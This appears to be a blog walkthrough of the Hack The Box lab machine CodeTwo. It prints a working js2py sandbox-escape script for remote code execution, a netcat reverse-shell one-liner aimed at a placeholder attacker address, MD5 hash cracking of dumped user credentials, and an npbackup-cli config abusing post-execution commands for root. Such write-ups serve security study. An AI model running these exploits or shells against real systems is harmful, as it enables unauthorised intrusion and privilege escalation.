Post

Hack The Box: CodeTwo

Hack The Box: CodeTwo

Description

CodeTwo is an easy-difficulty linux machine from Hack The Box when you need to register in a website and run a code that is vulnrable to js2py to get RCE → getting username and password from users.db file → User flag → npbackup-cli Binary priv escalation → Root

Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Downloads/CodeTwo]
└─$ nmap 10.129.194.204 -A -v

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 13:17 EDT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: gunicorn/20.0.4
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X

Ok now let’s go ahead to our http://10.129.194.204:8000 and discover our website.

Description

So we have a website talking about platform that is likely to be open-source one. We have an interesting button that can download an app in our local machine and also we have a login page with also registration. Let’s start by downloading and navigating the APP directory first.

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Downloads/app]
└─$ ls -al                           
total 28
drwxrwxr-x  5 kali kali 4096 Jun 10 06:37 .
drwxr-xr-x 19 kali kali 4096 Aug 18 13:00 ..
-rw-r--r--  1 kali kali 3675 Jun 11 03:46 app.py
drwxrwxr-x  2 kali kali 4096 Jan 16  2025 instance
-rw-rw-r--  1 kali kali   49 Jan 16  2025 requirements.txt
drwxr-xr-x  4 kali kali 4096 Oct 26  2024 static
drwxr-xr-x  2 kali kali 4096 Jan 16  2025 templates

We have app.py python file that is interesting here built in with flask.

In this file he mentioned the users.db file that contains all the usernames including their hashs. But when tried to access the users.db that is in the instance directory, I found the file empty.

So probably the file is only accessible by the local shell.

Another interesting function which is the /run_code. So, let’s take a tep back now and login to this website to see what is really is happening here.

Description

From the image above, We can see that there is a place to write a JavaScript code and then we can run it to get the output. So basically the function that we talked about earlier in the flask file is going to run our script here.

1
2
3
4
5
6
7
8
9
	@app.route('/run_code', methods=['POST'])
	def run_code():
	    try:
		code = request.json.get('code')
		result = js2py.eval_js(code)
		return jsonify({'result': result})
	    except Exception as e:
		return jsonify({'error': str(e)})

Exploitation

What caught my attention here was the function “js2py“ that can have CVE or RCE.

https://github.com/advisories/GHSA-r9pp-r4xf-597r

And here we are, we have an RCE for this js2py function that could be our way out.

So in this github repo i found a script which is this :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let cmd = "id";
let hacked, bymarve, n11;
let getattr, obj;

hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result;
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
n11[0].decode('utf-8');

in line 1, I put as command “id” to check if it will really return the output for this command and look what i got.

Description

Let’s goooo, we got an id for a user called “app”. What we need to do now is take a reverse shell on this machine and we will be in.

We need to go to our last script in line 1 and only change the let cmd = “id”; with let cmd = “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f/bin/sh -i 2>&1nc YOUR_IP 4444 >/tmp/f”;

And then run the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads/app]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [10.10.14.72] from (UNKNOWN) [10.129.194.204] 38714
/bin/sh: 0: can't access tty; job control turned off
$ /bin/bash -i
bash: cannot set terminal process group (923): Inappropriate ioctl for device
bash: no job control in this shell
app@codetwo:~/app$ id  
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@codetwo:~/app$ 

We are in, we are connected as app user right now. What i have in my mind right now is the users.db that we didnt reach it previously using the app.zip we downloaded.

1
2
3
4
app@codetwo:~/app$ sqlite3 instance/users.db 'SELECT * FROM user'         
sqlite3 instance/users.db 'SELECT * FROM user'
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

Here we go this is the credentials that we were looking for and those are their hashes. Let’s crack it now.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(kali㉿kali)-[~/Downloads/app]
└─$ hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 5 7535HS with Radeon Graphics, 1435/2934 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove       
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 649c9d65a206a75f5abe509fe128bce5
Time.Started.....: Mon Aug 18 14:32:17 2025, (1 sec)
Time.Estimated...: Mon Aug 18 14:32:18 2025, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2397.9 kH/s (0.05ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3448832/14344385 (24.04%)
Rejected.........: 0/3448832 (0.00%)
Restore.Point....: 3448320/14344385 (24.04%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: sweetboy9 -> sweetamine
Hardware.Mon.#1..: Util: 66%

we own user marco now with password = sweetangelbabylove

Let’s ssh to it now and move on to the Priv Escalation phase.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿kali)-[~/Downloads/CodeTwo]
└─$ ssh marco@10.129.187.98    
The authenticity of host '10.129.187.98 (10.129.187.98)' can't be established.
ED25519 key fingerprint is SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.187.98' (ED25519) to the list of known hosts.
marco@10.129.187.98's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 19 Aug 2025 01:45:51 AM UTC

  System load:           0.88
  Usage of /:            58.2% of 5.08GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             224
  Users logged in:       0
  IPv4 address for eth0: 10.129.187.98
  IPv6 address for eth0: dead:beef::250:56ff:fe94:5ed3

Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Tue Aug 19 01:45:52 2025 from 10.10.14.72
marco@codetwo:~$ cat user.txt
2090c11b63c8d63f59b9f1ad6708f968
marco@codetwo:~$ 

Privilige Escalation

Like always first thing to think of when moving in privilige escalation is checking the “sudo -l” and here what we got.

1
2
3
4
5
6
7
marco@codetwo:~$ sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Also, I did noticed another interesting file that can be related to npbackup-cli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
marco@codetwo:~$ ls
backups  npbackup.conf  user.txt
marco@codetwo:~$ cat npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false

So, let’s take a step back and let’s understand what npbackup is first.

npbackup-cli is a command-line backup client designed to manage backups of files and directories. It allows users to create backups, restore files, list snapshots, and apply retention policies.

Here for our next move, we will be changing the file npbackup.conf to execute some commands which are :

  • creating a directory in /tmp
  • copying the root.txt flag to the new /tmp directory
  • changing the rights so our user can open the new file

So, I will create a new file called malicious.conf that contains :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root #changed the path to root
      source_type: folder_list
      
      post_exec_commands: # we will list the commands using this function 
        - "mkdir -p /tmp/root"
        - "cp /root/root.txt /tmp/root/root.txt"
        - "chmod 777 /tmp/root/root.txt"
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__

Now let’s execute the command npbackup-cli and call for our malicious file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c malicious.conf -b --force
2025-08-19 04:13:08,879 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-19 04:13:08,885 :: INFO :: Loaded config F9858DD2 in /home/marco/npbackup1.conf
2025-08-19 04:13:08,887 :: INFO :: No groups found in config
2025-08-19 04:13:08,889 :: INFO :: Running backup of ['/root'] to repo default
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.885 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 965a654f saved
2025-08-19 04:13:10,602 :: INFO :: Backend finished with success
2025-08-19 04:13:10,656 :: INFO :: Post-execution of command mkdir -p /tmp/root1 succeeded with:
None
2025-08-19 04:13:10,710 :: INFO :: Post-execution of command cp /root/root.txt /tmp/root1/root.txt succeeded with:
None
2025-08-19 04:13:10,764 :: INFO :: Post-execution of command chmod 777 /tmp/root1/root.txt succeeded with:
None

Now if we go to the /tmp/root we can successfully retrieve our root flag.

1
2
3
marco@codetwo:~$ cat /tmp/root/root.txt 
752b6a578c8f5ceb0e8239ff97f1d68a

Let’s goooo!! Machine CodeTwo successfully PWNED!!!! It was a great machine and better than the first version Code.

This post is licensed under CC BY 4.0 by the author.